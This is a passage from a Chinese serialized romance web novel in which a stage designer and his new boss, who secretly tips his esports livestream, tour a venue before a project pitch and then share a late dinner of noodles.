想法在大脑闪过,郁思白立刻行动起来,忙忙碌碌但还算有调理地收拾了自己的东西,把椅子归位,然后抱着电脑,逃难似的从套房溜走。 走出去十几米,他又突然折返,用房卡刷开房门,然后轻轻把卡留在了玄关卡槽里。这才重新祟祟地离开。 回到自己房间,郁思白才陡然感觉到套房的尺度感。 但此刻,小房间更合他的心意,有种和他在沪市的出租房如出一辙的紧凑感,让他忽然觉得安心。 郁思白放了电脑,看着平平整整的暄软大床,心里生出了一头埋进被窝的冲动。 但很快的,这股冲动又被去参观场馆的期待冲散。 能提前实地在场馆踩点、还不限时长不限次数,郁思白很清楚这是自己绝无仅有的关键机会。 用上学时老师的话讲,这就是暑假的弯道超车。 中国人关键的一生…… 郁思白伸出双手,放在自己两颊边,然后用力往中间挤了两下,把嘴巴都挤成只能发出“啵啵”声的样子,心头才终于像热气球落了地。 最终,工作的理智战胜了感性,他重重呼出一口气,翻开背包把生活用品都丢到床上,减负到只剩下一堆板材和一个平板,然后唰地拉上背包拉链,向后甩到背上,昂首挺胸出门去也。 郁思白,有你这样的心态你做什么都会成功的! 他这样在心里喊。 乘电梯到了一楼大堂,郁思白扫了眼空荡荡的沙发,看了看时间,还是没走过去坐下。果然,没过半分钟,季闻则就准时走出电梯。 可这人向郁思白走过来的时候,郁思白第一反应,有点不敢认。 从他离开到现在,满打满算也就五六分钟的功夫,季闻则好像一键换装似的,变了个人。 刚刚参会的那一整套西装,现在突然变成了极休闲的帽衫风衣。原本一副衣冠禽兽风格的银丝框镜,被这套衣服一衬,反而有了点大学学长的清爽文雅。 郁思白知道人靠衣装,但这是不是也太靠了? 奇迹季季?出门前还要飞速换一身适合运动的衣服? 郁思白思绪来回打转的时候,看起来年轻了好几岁的男人已经走到了他面前。 见青年的目光仍然愣愣投向自己身后,季闻则也顿了顿,下意识回头去找他视线的焦点,却只看到正常关闭的电梯。 好笑的是,他这么一回头,带动得附近的人也跟着扭头去看,小孩稚嫩的声音响起。 “哇,妈妈!有机器人卖零食!我要去买!” 季闻则好笑地收回视线,抬手,在郁思白眉心前方十几厘米处,打了个清脆的响指,作法叫魂似的。 “你也要买零食?”他问。 郁思白被响指惊得一个激灵,攥了攥拉着背包带的手:“……不买,走吧,季——” 他迟疑着,总觉得对着这身穿搭的季闻则,叫不出“季总”两个字。 他看向季闻则,无言地用一双眼睛征求他的意见,希望这位被称呼的先生,能够体面又好心地给出一个合适的称呼。 但季闻则眉眼一弯,唇角轻抬,甚至微微侧了侧头,但笑不语。 “——季老板。”郁思白神情复杂地蹦出这么一句,扭头,“我们怎么去?” 季闻则“噗哧”的一声笑,再清晰不过地从身后传来。 “我叫了车。”他声音里都仿佛浸透了笑,“已经在门口等着了,银白色,尾号9281。” 郁思白埋头就往外冲,脚下步步生风,像只牛犊。但莫名奇妙的,季闻则明明走的不急不缓,却始终坠在他身后不到半米。 出了大门,郁思白探头看了眼门口车辆的牌号,季闻则已经拉开了后座的车门。郁思白只是短暂地想了一秒,就立刻拉开副驾的门,坐了进去。 网约车司机大概也不常见到会坐副驾的人,被吓了一跳,扭头又看见郁思白一张毫无表情的脸,抓方向盘的手都紧了一紧。 还是坐在后座的季闻则开口,含着笑报了自己的尾号,又轻敲了一下副驾提醒:“安全带。”司机听他语气温和,这才把心放回肚子里。 季闻则打的大概不是普通网约车,车里明显宽敞,郁思白目光没往后瞟,但猜测应该是有可自取的矿泉水。 车是好车,但越是好车,行驶起来就越是安静。开出去两三分钟,郁思白抱着自己的大背包,头突然哐地往进一埋。 后座传来熟悉的轻笑。 “这么紧张干什么……”季闻则说,“该紧张的难道不是我?” 郁思白头埋在臂弯和背包之间,视线一狭窄起来,反而觉得安心,顿了顿,疑惑反问。 “你紧张什么?” 后座的人忽然真的安静了一会儿,沉吟片刻,声音虽然听不出有多紧张,但绝对是深思熟虑后才开口。 “唔,因为你好像很在意这个身份被别人知道?”季闻则说。 “不该知道也已经被你知道了。”郁思白说。 “但我知道的时间,比你以为的更早。”季闻则说,明显停顿后才又道。 “我还以为,你又要像那天一样跟我冷脸,扭头就走。” 在臂弯之间,郁思白眨了下眼睛。 冷脸、扭头就走……对啊,难道我刚刚不是这样吗? 抿了抿唇,郁思白终于还是忍不住问:“你到底为什么那么早就,看过直播……?” “薛简发给我的。”季闻则说完,组织了一下语言才接着回答,语气平静不似作伪。 郁思白思维一转,恍然“哦”了一声。 “薛老板是想让你也往电竞圈投投钱?” “他没这么说。”季闻则想了一下,“他只说,这个主播播的好,让我有空有兴趣了可以看看。” 前座的郁思白终于抬头,一手抓着安全带,侧过身回头看他,问:“真的?” 季闻则点头,目光坦然:“每句都是真的。” 郁思白眼底最后一丝狐疑也散尽。 合理,这确实是薛简干得出来的事儿。 郁思白其实很能理解薛简这种做法,毕竟肥水不流外人田嘛,要想给人安利相关直播间,那肯定还是自己人更信得过。 更别提安利来的这个人,还是个出手就是五千块醒目留言的有钱少爷。 也就是薛简没跟他说,要是告诉他,郁思白还得谢谢人家呢。 但这事儿,坏就坏在、倒霉就倒霉在——这个直播间老板,是他正儿八经签了劳务合同的真老板啊! 郁思白缓缓扭头回来,在位置上坐正,然后扣了扣背包的接缝处,轻咳一声说。 “今天……谢谢你啊。” 后座的人轻飘飘地“嗯”了一声,说不用谢。 郁思白又扣扣背包,硬着头皮:“那个礼物的钱,J站和ICG都会扣一部分分成,我可以个人补齐,等下个月……” “你当普通打赏收着就行,我也就是个普通观众而已。至于主播现实里是什么人、什么身份……巧合而已?你不用有心理负担。”季闻则笑了笑,语气和平时没什么两样,让人莫名安心。 “我只有这么一个账号,也不会常常去看,你也知道,我平时时间不多。现在上个房管,你也能随时知道我的动向……希望这样能让你有些安全感?” 大约是车里太过安静,郁思白恍惚间好像听到了自己过重的心跳声,半晌才应了一句:“嗯,这样也行。” “那就好。” 不知是不是听岔了,后座的人似乎也轻轻地松了口气。 郁思白终于停下了扣背包的手,拿出手机,看了眼今天这场直播的收入。 签约ICG后首播解说+cn联赛冠军首站胜利+周六中午时间正好,三个buff叠加之下,今天直播间的活跃人数都和往常不是一个量级,虽说比不上世界赛总决赛,但也隐隐有那个架势了。 活跃人数一上来,今天直播赚的真的不少,刨去分成,到手应该能有至少六七万。 当然,季闻则在这其中占了半壁江山。 郁思白把流水记下,在计算器里敲出一个准确的数字,对着这个数字,呆呆看了好几秒,然后火速打开手机银行。 为了给Execut2还钱而开的那张卡里,余额加上现在的这个数字…… 郁思白认真又小心地一字一字输入,最后按下等号—— 打头的那个数字,终于变成了1。 郁思白呼吸先是一滞,紧接着,就是铺天盖地的狂喜。 他攒够了!! 但他很快又冷静下来。 毕竟现在平台还没发钱,只是理论收益而已,虽然郁思白也很想现在就从工资卡把这笔钱预支进来…… 但很可惜,他工资卡里根本没这么多钱。 奇了怪,他平时花钱也不多呀,钱都哪去了呢? 事到如今,也只能等着平台一月一次的提现,这个月已经提过了,下个月月初就申请,再走个扣税流程…… 郁思白扳着手指头算日子,只觉得胜利就在前方,心情轻快得几乎要飞起来。 卡神!我赚老板的钱还你呀!! 他本来以为,剩下的这十万块还要再攒至少小半年。毕竟现在他直播频率下来了,连大比赛都是断断续续的播,再也没法像大学那样比赛全勤。 但没想到,他的剧本里还有天降季老板这么一出。 看着计算器里的数字,郁思白再面瘫的脸也柔软下来了,他弯眉勾唇,回头,两个梨涡浅浅地挂起来,真心实意地笑说。 “谢谢季老板,那我就不客气了。” “不谢。”季闻则回以笑容,心里忽然一痒,忍不住玩笑,“你说,我这算不算榜一私联主播?” 其中一只梨涡抽了一下,颇为无语。 郁思白明显感觉到,驾驶座的司机大哥的眼神已经不对了,瞟了自己一眼,看清长相之后,轻轻嘶了一声,再从后视镜看向季闻则,目光已经不是先前的友好了,带上了一种不易察觉的鄙视。 “……这个词不能这么乱用的,老板。”郁思白抻平嘴角,给他简单解释了两句。 季闻则眨眼,很快地理解到其中症结,说:“原来是这样……抱歉,怪不得薛简总说我老古板。” 他倒也真的是从善如流,和他的名字一样闻过则喜。让人忍不住去想,他的少年时期,也一样是这么情绪稳定、不骄不躁吧。 郁思白看着他这么一身穿搭,忍不住说了句公道话:“季老板,你也不老啊。” 季闻则扭头看向窗外,轻笑道:“可能是他认识我太早吧。” 天儿就是这么聊活络起来的。后半程,车里气氛明显松快了很多,司机大哥也渐渐收回了自己的视线,认可了两个都是好小伙。 车在场馆外一百米处停下,郁思白抱着包下车,又潇洒地往背后一甩,单肩背着,比已经年轻了的季闻则还要年轻几岁,像个高中生。 场馆外立面,是很有现代味道的设计感,不是那种容易落伍的“科技感”,而是用简单的钢骨线条,大开大合地勾勒出一种工业的帅气。 饶是郁思白早就在网上看过不少次照片,此刻还是忍不住拿出手机,拍了一张。 想了想,他转手发给了置顶的Execut2。 发完,两个人并肩往场馆背面的工作人员通道去。 “不是说电竞投资不赚钱吗……真的假的。”郁思白环顾四周,忍不住说,“Founder……哦你应该叫他小段总,段骋雪,他要是没赚钱,哪儿来的钱又在这儿盘一座场子?” 季闻则说:“这看队伍。” 郁思白原本只是随口一提,没想到会有人接话,讶异问:“你懂这些?” 季闻则顿了一下。 他立刻意识到这似乎不是“季闻则”该懂的领域,脑海里闪过几个想法,但面上半点不显,轻笑了一下,语气如常道。 “我也是吃饭的时候听他们说的。” 郁思白点头:“要不你能当老板呢,不感兴趣的领域都能记到心里。” 季闻则未置可否。 “唔,不过你说的也很有道理啊。”郁思白想了想,“Founder他们队成绩好,cn赛区第一明星队伍了,选手也都是世界级的明星选手,还一直在搞青训,每年转会费应该也不少钱……” “是么。”季闻则虽然不多热络,但句句有回应,让人始终很有表达欲。 郁思白点了点头:“嗯。听说今年青训出了个天才少年,这还没到转会期呢,已经有人喊出大六位数价格了……这还只是没打过联赛的青训选手诶。” 思及此处,郁思白忽然心生一计,侧头看向季闻则:“老板,你觉得这里面有商机吗?”他略显期待地问。 他老板家底肯定不薄,要是也能投资给foun神,说不定也是好事一桩。 但季闻则听完后,摇头:“没有。” “资本掺和的太多,只会让你刚刚说的青训渐渐变得画虎不成,本来是人才输送的地方,获利就不该是被首要考虑的东西,自然也不会有商机。”他说罢,挑眉看了郁思白一眼,轻哂。 “郁老师,钓鱼执法考我呢?” 郁思白愣了一下,才反应过来,季闻则以为自己是在抽查教育成果。 他这一怔,倒是也反被季闻则看穿了心思,才发现是自己多想、草木皆兵,季闻则不禁失笑。 “倒是我自投罗网了。” “诶,我也没想着要考你……”郁思白收回视线,沉默了两秒,声音低下来,迟疑了很久。 他没说话,季闻则就一直等着,也不催促,也不提一个新的话题。好像他不说,季闻则就能一直等下去。 他们终于绕过长长的护栏,走进了场馆旁的广场,从一直背光的阴影处绕了出来,一脚踩进阳光里。 郁思白只觉得忽然被太阳从头到脚地烘得温软,抬手捏住背包带,把包往前提了一下,忽然开了口。 “季闻则,你和我想的,不太一样。”—— 作者有话说:[猫爪] 第33章 季闻则听到这句话, 微微侧头,含笑说:“那我就当这是一句夸奖咯?” “……这算什么夸奖。”郁思白摸不着头脑。 季闻则看起来就是那种隔壁家的小孩,从小被夸到大的那种, 哪里会真的这么轻易地被夸到。 可他再看过去,季闻则已经收回视线, 但笑不语。 迎面走来一个穿着制服的工作人员, 让郁思白没有再次开口的机会。 “二位好,段总提前跟我说过了,今天我来带你们参观。” 工作人员显然是专业的,起手就是很重的导游味儿:“来,跟着我这边走。平时大门不开放,我们从员工通道进, 一会儿会拐去大门,从里面也能看见全貌。” 从阳光明媚的外面进到员工通道后, 郁思白第一感受就是, 黑。 他拿起手机按亮,刚准备开照明, 工作人员就啪地一下打开了走廊的灯。 “哈哈,平时也没人来,我们想着省点电,一般也不开灯。”工作人员说, “你们先跟我来, 咱们从二楼开始参观。段总说让我带你们先整体转一圈, 之后如果不需要我陪同,你们也可以自己转转,注意安全就行。” 两人都应声道谢。 手机拿都拿了,郁思白顺带点开微信看了一眼, 置顶聊天框还是没有人回复。 周六……是在休息?还是加班。 看着对话框想了两秒,郁思白把手机锁屏,快走两步,跟上工作人员,没注意到原本身旁的季闻则落后了两米,也拿出手机。 没过几秒,郁思白的手机就嗡嗡震动了两下,他立刻拿起手机低头。 【Execut2:很好看】 【Execut2:之前在加班,没看到消息】 郁思白笑了下。 他昨天就第一时间跟Execut2分享了自己要去场馆实地考察的消息,顺便暗示了一下场馆很帅,他的设计也很帅,卡神你真的不考虑来玩吗? 得到的答案理所当然的还是否定。 【我也加班。不过是没有加班费的加班……不过等拿下项目,会赚很多钱】 【虽然说,做这个项目本身就已经很开心了,但能赚钱肯定更好,嘿嘿】 【Execut2:我今天也没有加班费】 看到这条消息,郁思白大惊,立刻发过去一串震撼的问号。正想多问,走在前面的工作人员忽然开口,准备给他们开始介绍了。于是郁思白只能简短说了声回聊,就退出微信,进入工作状态。 工作人员带的很细致,甚至连设备间都带他们去了一圈,而且讲解的很细。表示他们场馆有非常先进的灯光和音响设备云云。 郁思白虽然听不懂那些专业名词,音响如何也跟他无关,但灯光对他来说很重要,倒也在平板上记了不少东西。 里里外外全部走了一圈,郁思白一看时间,已经快一个小时过去了。 “那,之后你们是自己逛,还是我陪着一起?”工作人员问,然后不好意思地笑了一下说,“就是我刚点了个外卖,得先去取一下。” 郁思白听他这么说,哪还能不懂,便说:“我们自己逛就行,谢谢了。” 工作人员脸上的笑容立刻开心了不少,报了一串数字道:“这是我的电话,我就在二楼中控室,你们有事随时给我打电话就行。想开哪儿的灯、要看什么效果,随时提。” 想了一下,他又说:“算了,这里头信号有时候不好,你们等会儿要是上二楼的话,我给你们拿个对讲机,你们用那个联系我,那玩意好用。” “哦对,这个也给你们吧。”工作人员一拍脑门,又从腰间解下一个小手电,打开试了一下,瓦数倒是很高,简直像个小型聚光灯。 安顿好两人后,工作人员踩着愉快的步子,嘴上哼着小调走了。 昨晚他们被要求临时出个人来加班,同事都不乐意,最后推了他来。 原本怨气十足的,但没想到也不是什么费劲的活,就带人转一圈而已,然后坐在中控就成了,还能拿一整天加班费和餐补…… 工作人员越想越嘚瑟,临拐弯,还突然回头冲两个参观的人喊了一声:“谢谢啊帅哥!” 郁思白露出疑惑的神情,看了眼季闻则。 季闻则拿着那支手电,打开,在四周转了一圈,忽然说:“好像还挺有探险的感觉。” 工作状态的郁思白,一下没接上话。 他总觉得季闻则的人设好像都随着他的衣服换掉了一样,脱了那层笑眯眯的西装皮,整个人都生动起来。 看着郁思白愣住的样子,季闻则没忍住轻笑,听见他这一声笑后,郁思白张了张嘴,复杂道。 “季老板,你现在有点活泼了……显得我才像那个老古板。”他说着,低头看了眼自己的衬衫西裤。 早说跟老板出来也不用穿得这么正式啊! 季闻则微微挑眉,意味不明地笑了声,然后抬手一拢风衣领口,原本休闲感很强的敞口顿时有了西装领的意思,他唇角笑意一敛,淡淡垂眸,严肃道。 “那我这样?” 手电筒的光圈晃晃悠悠地落在他脚下,像圈了个重点似的,却让郁思白霎时间一怔。 可没等他说些什么,甚至脑海里还没想出什么,面前这个板着脸的人就忽然破了功。带着点狐狸意味的笑容重新扬起,他弯着眼睛问。 “怎么这个表情,把你吓着了?” “……有点吧。”郁思白开口,迟疑的声音有点干涩。 “抱歉。”季闻则道。 郁思白缓了缓神,低头拉开背包:“开工吧。一会儿又到晚饭点了,我可不敢把季老板饿着。” “不急。”季闻则笑笑说,“吃完想消食的话,还可以再来。” “再说吧,我都行。”郁思白说。 虽然他本人更喜欢一次性解决问题的工作方式,但这么搞,经常容易废寝忘食,对身体实在不好。 平时在一组,他就不会强求组员跟自己的工作方式统一步调,这会儿面前的是季闻则,他自然更不会说。 郁思白低头看了看自己平板上记载的东西,不得不说,这趟来的确实必要。场馆内部,有很多细节是网上资料体现不出来的,这些细节有的会严重影响他原本方案的施行,有的却又给他一个从未想过的新点子。 脑海里的灯泡一会儿亮、一会儿灭。郁思白举着对讲机,也不停地跟中控室的工作人员沟通灯光。 工作人员乐得只动手不动腿,句句配合,甚至还主动提出给他看点新花样。 “这个前两天才写的一套新程序,还没正儿八经投入使用呢,设计老师你们先看看。” “好啊。”郁思白期待。 结果下一秒,主舞台的灯光毫无预兆地骤然熄灭。 郁思白正一步踏出去,眼下突然什么都看不到,他顿时失去了对距离的感知力,抬起的脚不知迈出去多远,在落下的时候,骤然踩空! 比黑暗更糟糕的,是在黑暗里失去平衡的感觉。 郁思白的心猛地一紧,他第一反应是伸手去撑地面,但忽然,左臂靠上了什么,稳稳当当地在他彻底摔倒前,托住了他。 靠住的东西有些硬,没等郁思白反应过来,手电筒的光就在眼前亮起。 他下意识先侧头看向左肩下方,才发现,那是季闻则的手。 确切地说,是季闻则的手背。 在这种点光源之下,所有东西都显示出最简单、也最漂亮的明暗轮廓来,明显正在用力的手背鼓起筋络,如同俯瞰的山脉。 郁思白视线只短暂停留了一下,很快收回,他想站起来,但左脚一用力,却陡地一阵钻心的疼。 ……这是崴着了。 “崴了?”季闻则也发现他的不对,手电筒的灯光晃动,他立刻就要伸出另一只手。 郁思白摆摆手说:“没事没事,我经常崴脚,不严重,就稍微原地等个半分钟,慢慢就好了。” 对讲机里传来工作人员陡然慌乱的语气,磕巴道:“对不起对不起,我误触了……系统正在重启。你们没吓着吧?” “没有,没事。”郁思白没说一脚踩空受伤的事儿。 他借着季闻则手背的力道,右手撑住台阶旁的低矮栏杆,缓缓坐下,把对讲机放到一边,抬头对季闻则笑了一下说。 “稍微歇一分钟就行,习惯性崴脚是这样,我从小就这样子……以前我奶奶说,跟我并排走路,走着走着突然人就没了,扭头一看,在大平路就趴地上了。” 等他安安分分地坐下,季闻则才收回手,郁思白的目光跟着那只手动了几秒,眨了下眼睛,忽然好奇。 “老板,你是有洁癖吗?” “嗯?没有。”季闻则道,“怎么这么问。” “还以为你是洁癖,所以不愿意碰别人。”郁思白伸出手,指了指他收回去的手背。 季闻则顺着他的目光垂眸,了然失笑道:“这是礼貌。” 郁思白轻笑,下意识动了下脚,痛得呲牙咧嘴,却反而显得这个笑没心没肺。 他语带调侃道:“我又不是女生,你搞这么绅士……我还怪尴尬的。” 季闻则目光闪了闪,面上笑容不改,开口带了点恰到好处的疑惑和好奇。 “我是看他们说,你似乎喜欢男生,所以……” “啊?我没有啊。谁说的?”郁思白大惊,旋即意识到季闻则指的大概是直播间弹幕,顿时哭笑不得,“不是……那个不是那种喜欢。就是偶像、偶像你懂吧老板,追星而已。” 季闻则失笑:“这样……抱歉,误会了。不该打探你的私事。” “没事啊,这么大的误会还是早点澄清的好。”郁思白笑了下,“下次直播,我可得让他们还我清白。” 说着,他又不安生地动动脚,感觉好了不少,可以走了,于是反手抓住季闻则的小臂,借了下力站直,大大方方道,“谢谢季老板扶我咯,下次直接拎我领子也没事的,为了珍爱生命我不介意的。” 话音刚落,他就感觉衬衫后领被不轻不重地收紧,连带着还有一股向上的力。郁思白下意识顺着力气一垫脚尖,扭头,跟季闻则视线平齐。 “……倒也不是说现在就拎?”他说。 季闻则弯了弯眼睛,松手:“先试试。” “又不是没试过。”郁思白回过头,翻了个白眼,“季老板,你记性有点差。” 季闻则只是笑,坠在后面半米,看着他走路确实越走越像个没事儿人,才上前去。 “刚进来就想问了。”他说,“你是不是有点怕黑?” “……没有啊。”郁思白顿了一下,实在觉得有点丢脸,下意识否认,“就是一下没看清而已。” 正说着,郁思白忽然觉得有一个冰冰凉凉的东西贴上自己手背,低头一看,是季闻则把手电筒递过来。 “要不要你来拿?”他问。 郁思白说:“但是我还要从包里掏东西……算啦,没事。季老板这个引路人当的还挺好的,刚刚是我走的太急。” 季闻则没说什么,但后半程,手电筒的光就被不着痕迹地调整了方向,始终照亮着郁思白面前的三四米,也总能在黑灯之后的一瞬间立刻亮起。郁思白张了张嘴,好几次想说话,最后又咽了回去。 两人就这么在场馆里走了一圈又一圈,季闻则很少干这种只当陪客的事儿,半句话都插不上,说枯燥,是真的有点枯燥。 他们郁组长似乎也已经沉浸在自己的世界里,早忘了旁边还有个人了,时不时低头在平板上写写画画,又过一会儿就从那只像哆啦A梦口袋一样的背包里,掏出各种板材比比划划。 在第三次回到他们参观的起点后,郁思白看了眼平板上显示的时间,原本一直专注工作的、面无表情的脸,陡然生动起来。 早已经过了晚饭点不知道多久了。 “你不饿吗?”郁思白睁大眼睛,扭头看向季闻则。 “我吃的比你晚。”季闻则说,“从宾馆来一趟也挺远,看个够本再回也不迟。” 郁思白听出他似乎真的一点也不急,犹豫了一下,还是道:“那我们最后再去一趟舞台前面吧。” 季闻则举着手电,无有不应,坠在他身后,像个沉默的影子。 郁思白举起对讲机:“场控老师,麻烦再开一下舞台四周的射灯吧。” “好嘞。”工作人员应得很快,一秒后,射灯的光柱在昏暗的场馆里拔地而起,像是把整座舞台包裹在内,框成了一道结界。 郁思白站在原地,脑海里几乎能清晰地描绘出方案落地后的样子。结界之外,山呼海拥。 他面前是一条没有灯光的过道,和他们现在站着的看台位置,有一道一米多高的黑铁栏杆防护,这样看上去有点丑,但在郁思白脑海里,它已经被装点成新的模样。 “季老板,能帮个忙吗?”郁思白忽然开口,看向季闻则,抬手在面前的走道比划,“我准备……在这里,铺一条长长的路。我想看看,走上台时候的样子……你能过去走一圈吗?” 季闻则微微抬眉,看着青年不太好意思地提出请求,轻笑了一声。 “行。”他说着,把手电筒递过去,“拿好。” 郁思白连连点头,“嗯嗯”地接过,然后环顾四周,找到了一个围栏的缺口处,抬手给季闻则指:“从那边过去。” “不用。”季闻则说。 下一秒,郁思白目光陡然愣住。 季闻则抬手搭上那道半人多高的栏杆,先用力,似乎是晃了晃栏杆,以测试它是否足够稳固。 “等下,你——”郁思白下意识开口,可话未说完,季闻则已经用力一撑,整个人腾空。 他动得突然,风衣衣摆来不及跟上,被坠在原地,一双长腿终于不再有衣摆遮挡,在逆光下勾勒得线条凌厉,极轻巧地划过栏杆之上。 咔哒。 鞋子稳稳落地。随之而动的,还有缓缓落下,搭到栏杆上的长风衣衣摆。 季闻则抬手一拎一放,衣摆划过一道小小的弧线,重新妥帖又得体地遮住了半条小腿。 他侧头,看向郁思白问:“从这里走么?还是要再前一点。” “都……”郁思白卡壳了一下,定了定神才说,“都行。” 季闻则那张脸上又挂起笑来。 “那都走两遍。” 他说罢,转身,动作和他方才翻越栏杆如出一辙的干脆利落,但和平时那个“季闻则”,大相径庭。 脱下那身体面又精致的西装,他绝不只是看起来更年轻活泼了些,仿佛……真的从什么里面,挣脱出了一个新的自己似的。 一瞬间,那种强烈的熟悉感又席卷而来,可心底又有一个声音打擂台似的响起。 他不可能是。 季闻则,不可能是Execut2的。 无论是过往经历、学历、还是家境、性格……都对不上。 郁思白抬手,重重戳了戳自己的眉心,好像要用这种方式把自己戳清醒一样。 这时候他忽然觉得,自己特别像里的霸总——不是身份上,是心境。就是那种,路遇白月光替身,拼尽全力没法抵挡,把人抓回来天天看着,时时调/教,结果到最后的某天冷不丁发现。 他分不清这两个人了。 郁思白咬了下唇,心情复杂,但又莫名有点想笑。 这……也是拿上霸总体验卡了哈。 “这样行吗?” 视线里,季闻则已经走上了舞台,他人站在那里就是笔直又稳重的,虽然还有些活泼劲儿,可原样拉去各种峰会也不会显得违和。 郁思白想起Execut2标志性的单手插兜,蓝灰色头发的少年永远是那副睥睨又懒散的表情。 他晃晃脑袋,把这两个果然还是怎么都无法重合的人,都从脑海里挥去。 不可能是一个人呀。如果真的是,那都不能说是成长了……简直就是破茧成蝶的变/态发育。 当然,他指的,并不是很有文学美感的那个“破茧成蝶”的意思。 郁思白高考没选生物,只是隐约记得自己在一本书上看到的科普。 被封在茧里的虫子,并不是慢慢在背后长出翅膀,直接变成蝴蝶的,而是化成一滩水一样的液体,原本完完整整的生物溃散成这样的状态,然后再重新汇集、组合、再生成一只大相径庭的蝴蝶。 当时因为看完之后实在大受震撼,郁思白现在都回忆得起那种后脊发凉的震撼感,因而一直记到现在。 那也太恐怖了。他想。 从茧里爬出来的那只蝴蝶,真的还会记得以前的自己吗? 郁思白每每想起,都只觉得“变/态发育”,果然真的很“变/态”。 他呼出一口气,再一次赶走脑海里不相关、却总是无孔不入的思绪。 “行!”郁思白抬高声音回应,“能再走一遍吗?我拍个照可以吗。” 不知是不是刚刚乱七八糟的想法,把他更沉浸地带回了电竞的世界里,郁思白脑海里渐渐有什么东西成型。 他想要更清晰地看到,就是得麻烦他们季老板多走两趟了。 “你拍。”季闻则仍然答应的果断。 他不急不缓地下台,这次的出发点比刚才更远,他路过郁思白时忽地莞尔,把他当成观众似的,打了个招呼,又伸手想来拿他的手机,问:“需要合照吗?” 郁思白咬牙,额头蹦出井字,什么有的没的乱七八糟的想法全都被冲了个干净,更严重的,原本呼之欲出的灵感,就这么像肥皂泡一样啪地碎了。 他重重一跺脚,把地面踩得闷响,忍不住喊:“我们不是要搞明星见面会!季闻则!” 季闻则眨眼忍笑,立刻双手举过头顶,乖巧道:“有点油腻了,我再走一次。” “你要走向前面,你的视线里只有舞台最中心的那座奖杯,除此以外你什么都看不到,什么都不在意。”郁思白像个头顶冒火的导演,“你现在不是黑心资本家,季闻则,想象你是个电竞选手——” 季闻则含笑的眉眼,此刻也无奈地垂下来,他摊手,叹了口气道:“我不大会无实物表演啊,导演。” “那怎么办。”郁思白有点焦躁,他只觉得脑海里那个他一直在等待的的灵感,此刻和世界只隔了一道薄薄的膜,但总是差一点、差一点,他看不清里面,又戳不破这层膜。 这种焦躁感,简直和小时候出水痘又不能挠的时候一模一样。 “把包放那,你想象一下?”他问。 季闻则眉头浅锁:“有点……困难。” “那怎么办呀?”郁思白口不择言,“难不成我站上去?” 季闻则一眨眼,掀开沉思的眼皮,目光落在他身上,略一侧头,抬了下嘴角。 “试试?”—— 作者有话说:[猫爪] 呜呜谢谢大家的营养液——这一整周其实状态都不是很好,感谢大家追更,投营养液。十一假期努力尝试加更!再次感谢大家[抱抱]大家假期快乐! 营养液欠(1/7)(那个1是v前二更还的[可怜]) 第34章 季闻则声音带笑, 身形像被射灯镶了个边儿,郁思白心跳莫名漏了一拍,旋即回神。 “别闹了季老板。”郁思白说着, 直接伸手扒拉他,“我也就是随口一说, 你尽管走吧, 脑补的事交给我。” 季闻则失笑,最终还是顺着他的意思,来来回回走了好几趟,让他拍了个痛快。 两人从场馆离开的时候,已经过了九点,郁思白的平板里, 花里胡哨满满当当。 “一块儿随便吃点?”季闻则随口邀请。 郁思白本想拒绝,但肚子咕噜一声打断了他到嘴边的话。 “行。”他同意。 比起和老板一起吃饭的尴尬, 先处理咕噜噜叫的肚子比较重要。而且…… 他瞥了眼季闻则, 心里不由得想。 他今天看上去,和老板这两个字根本搭不上边——就当是和普通同事去吃好了。 “吃什么?”季闻则问, 然后很快预判了他的话,紧接着道,“最好不要都行。” 被抢话的郁思白:…… 不过不客气的话,他还真有点想吃的, 索性直接问:“你有什么忌口吗?” “没有。”季闻则说。 “辣度呢?” “一般。” “那去吃小面吧, 可以吗?”郁思白问完, 见季闻则点了头,便拿出手机来搜。一边翻,一边自言自语。 “不过其实我也不清楚附近有哪家好吃……只能碰运气了。不过这种东西,基本也很难做得难吃。” “你是渝市人?”季闻则问。 郁思白摇头:“下面县城的, 说出来你都不知道的那种地方。” 季闻则没说话,只是侧头端详他。 “去这家吧?四百来米,挺近的。”郁思白举起手机,给季闻则看了一眼,评分挺高,评论看起来也不是刷出来的假评论。 “行。”季闻则说。 郁思白最后看了眼地图,把路线记在心里后,就收了手机。 渝市的晚上似乎比沪市凉快一些,两人很快到了地方,店面不大,但很是干净。 于是也没人再挑剔,坐下点了两碗小面,香味扑鼻。 两个人显然都饿狠了,低头吃面,好半天都没人说话。 “要饮料吗?”郁思白觉得吃的有点咸,起身问。 “可以,随意。”季闻则说。 郁思白拿回来两罐一样的饮料,自己先打开,灌了四分之一瓶,才说。 “季老板,你现在可真好说话。” “我以为我一直都很和蔼?”季闻则带着疑惑,失笑,“这是你自己说的。” “我什么时候说过……等等。”郁思白反驳到一半,忽然想起确有其事。当时季闻则问他“我需不需要严肃些”。 郁思白一眯眼,突然话锋一转:“所以你那天是因为看到我直播,才莫名其妙问我这么一句的?” “也不算莫名其妙……毕竟我初来乍到,能了解到你们的真实想法,对我来说当然是好事。”季闻则笑。 郁思白有些汗颜。 真实想法吗,那他的直播可太真实想法了。 什么,老板不如狗之类的…… 他有点不自在地轻咳一声,拉回话题:“不过我说的好说话,不是指这个。” 沉吟片刻,郁思白想了一下,说:“你问我一句,随便问什么,给两个选项的那种问题。” 季闻则也不多问,顺着说:“那就……我和钱远新,你更希望谁当你的老板?” 郁思白没忍住抽了下嘴角,忍下吐槽的话,心里一转,套上自己总结出的“季总回答公式”。 “钱远新这人的稳定性不错,资历也老,但是季总拥有更强的综合性能。” “说得我像个机器人。”季闻则笑,“但这是什么意思?” 郁思白瞥他:“你没发现吗?你说话经常这样拐弯抹角的。‘某某很好,但是我拒绝’。” 季闻则愣了一下,被这么一说,仔细想想,似乎还真是。 见他好像真的一副反思的模样,郁思白立刻道:“不过跟钱远新和我上一个领导比起来,你确实是脾气很好了。” 他低头又嗦了一口面,闷闷嚼着,半晌说。 “季老板,能遇见你当老板,我挺开心的。” 他低着头,听见对面传来季闻则的一声轻笑,可就是不说话,郁思白等了又等,结果还是没等到对方开口,皱了皱眉毛,疑惑又警觉地缓缓抬头看他。 “嗯?”季闻则放下筷子,扯了张纸擦掉嘴边本就没什么的面汤,也侧头。 “季老板,你怎么突然不礼貌了。”郁思白说。 “为什么这么说。” “按照你的社交辞令,不是应该说‘郁组长啊能当你的老板我也很开心’——这样的话吗?” “你没偷偷喝酒吧。”季闻则突然问,“怎么感觉你有点微醺。” 